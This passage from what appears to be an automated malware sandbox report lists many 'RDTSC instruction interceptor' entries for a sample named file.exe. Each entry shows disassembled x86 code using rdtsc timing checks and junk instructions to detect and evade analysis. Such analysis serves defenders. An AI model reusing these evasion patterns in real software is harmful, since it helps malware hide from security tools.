esi, dword ptr [esp+24h] 0x00000062 jmp 00007F99D0D12E27h 0x00000067 lodsw 0x00000069 jg 00007F99D0D12E1Ch 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jno 00007F99D0D12E1Ch 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d jp 00007F99D0D12E1Ch 0x00000083 mov dword ptr [ebp+122D2374h], ebx 0x00000089 nop 0x0000008a push eax 0x0000008b push edx 0x0000008c pushad 0x0000008d pushad 0x0000008e popad 0x0000008f jmp 00007F99D0D12E23h 0x00000094 popad 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82FBC second address: D83013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 xor dword ptr [esp], 6238C374h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F99D0DE6F28h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov edx, dword ptr [ebp+122D28BCh] 0x0000002e je 00007F99D0DE6F28h 0x00000034 mov edi, eax 0x00000036 push F1C40DA4h 0x0000003b push eax 0x0000003c push edx 0x0000003d jg 00007F99D0DE6F32h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83133 second address: D83194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F99D0D12E1Dh 0x0000000e jmp 00007F99D0D12E27h 0x00000013 popad 0x00000014 xchg eax, esi 0x00000015 adc edi, 3239F41Ch 0x0000001b jmp 00007F99D0D12E27h 0x00000020 push eax 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F99D0D12E21h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D834A7 second address: D834AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D834AB second address: D834C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F99D0D12E20h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CFD5 second address: D7CFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CFD9 second address: D7CFDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83D0C second address: D83D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0DE6F2Ah 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F99D0DE6F28h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+12497757h] 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F99D0DE6F28h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83D69 second address: D83D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83D6F second address: D83DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F99D0DE6F28h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov edx, dword ptr [ebp+122D179Fh] 0x00000029 pushad 0x0000002a pushad 0x0000002b and ebx, dword ptr [ebp+122D221Eh] 0x00000031 mov esi, ecx 0x00000033 popad 0x00000034 mov edi, 648D5202h 0x00000039 popad 0x0000003a mov dword ptr [ebp+122D26B4h], ebx 0x00000040 lea eax, dword ptr [ebp+12497713h] 0x00000046 mov dword ptr [ebp+122D2923h], esi 0x0000004c nop 0x0000004d jmp 00007F99D0DE6F2Fh 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83DD7 second address: D83DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB48F4 second address: DB4916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F99D0DE6F39h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC8B6 second address: DBC8CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC8CF second address: DBC8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA1F second address: DBCA25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA25 second address: DBCA2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA2B second address: DBCA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F99D0D12E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCA35 second address: DBCA39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBCBC3 second address: DBCBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC5DA second address: DBC5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC5E7 second address: DBC5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD495 second address: DBD49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD49A second address: DBD4AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0D12E1Bh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBD4AB second address: DBD4BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F99D0DE6F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4CBC second address: DC4CCE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F99D0D12E16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4CCE second address: DC4CD8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99D0DE6F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4CD8 second address: DC4CDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7CF9 second address: DC7D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F99D0DE6F32h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7542 second address: DC754A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC754A second address: DC754E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7841 second address: DC7847 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7847 second address: DC7850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7850 second address: DC7883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F99D0D12E16h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F99D0D12E22h 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jnl 00007F99D0D12E1Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7A13 second address: DC7A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F99D0DE6F26h 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f jnp 00007F99D0DE6F2Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD004D second address: DD005C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007F99D0D12E16h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD05F5 second address: DD060B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F32h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0908 second address: DD090E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0AAF second address: DD0AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0AB3 second address: DD0ACA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F99D0D12E16h 0x00000013 pop esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4C4C second address: DD4C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4C57 second address: DD4C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4C5B second address: DD4C6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F99D0DE6F26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4F30 second address: DD4F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD507E second address: DD50B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F99D0DE6F37h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F99D0DE6F34h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5216 second address: DD522D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F99D0D12E1Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD522D second address: DD523A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD523A second address: DD5240 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5240 second address: DD5245 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD5245 second address: DD524F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDF03 second address: DDDF21 instructions: 0x00000000 rdtsc 0x00000002 je 00007F99D0DE6F40h 0x00000008 jmp 00007F99D0DE6F34h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE1EC second address: DDE1F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDE1F7 second address: DDE1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDEADE second address: DDEAEF instructions: 0x00000000 rdtsc 0x00000002 je 00007F99D0D12E18h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDEAEF second address: DDEAF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDEDBA second address: DDEDC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83A8F second address: D83A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDFC21 second address: DDFC42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F99D0D12E1Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3F42 second address: DE3F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE31FE second address: DE3202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3202 second address: DE3217 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99D0DE6F26h 0x00000008 ja 00007F99D0DE6F26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3217 second address: DE3226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0D12E1Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3933 second address: DE395D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99D0DE6F2Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F99D0DE6F38h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF086D second address: DF0872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0872 second address: DF0898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007F99D0DE6F26h 0x0000000e popad 0x0000000f jl 00007F99D0DE6F2Eh 0x00000015 jnp 00007F99D0DE6F26h 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push edx 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0898 second address: DF08C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F99D0D12E1Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F99D0D12E16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE950 second address: DEE956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEEAC6 second address: DEEACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEED40 second address: DEED57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F99D0DE6F28h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F99D0DE6F26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEED57 second address: DEED5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEED5B second address: DEED61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF0B9 second address: DEF104 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E23h 0x00000007 jmp 00007F99D0D12E20h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F99D0D12E1Ch 0x00000014 jno 00007F99D0D12E16h 0x0000001a jmp 00007F99D0D12E1Ah 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF104 second address: DEF10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF10C second address: DEF128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F99D0D12E27h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF3FD second address: DEF401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF401 second address: DEF407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF56D second address: DEF571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF571 second address: DEF599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F99D0D12E26h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF599 second address: DEF5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0DE6F30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF733 second address: DEF73B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFF72 second address: DEFF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007F99D0DE6F30h 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F99D0DE6F2Ch 0x00000013 jl 00007F99D0DE6F2Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFF9D second address: DEFFA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFFA3 second address: DEFFAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF06E1 second address: DF06E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE4B0 second address: DEE4D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnc 00007F99D0DE6F26h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F99D0DE6F33h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE4D1 second address: DEE4E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jng 00007F99D0D12E16h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEE4E9 second address: DEE4F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnl 00007F99D0DE6F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F59 second address: DF8F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F99D0D12E16h 0x0000000a popad 0x0000000b jmp 00007F99D0D12E1Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F79 second address: DF8F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F7F second address: DF8F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
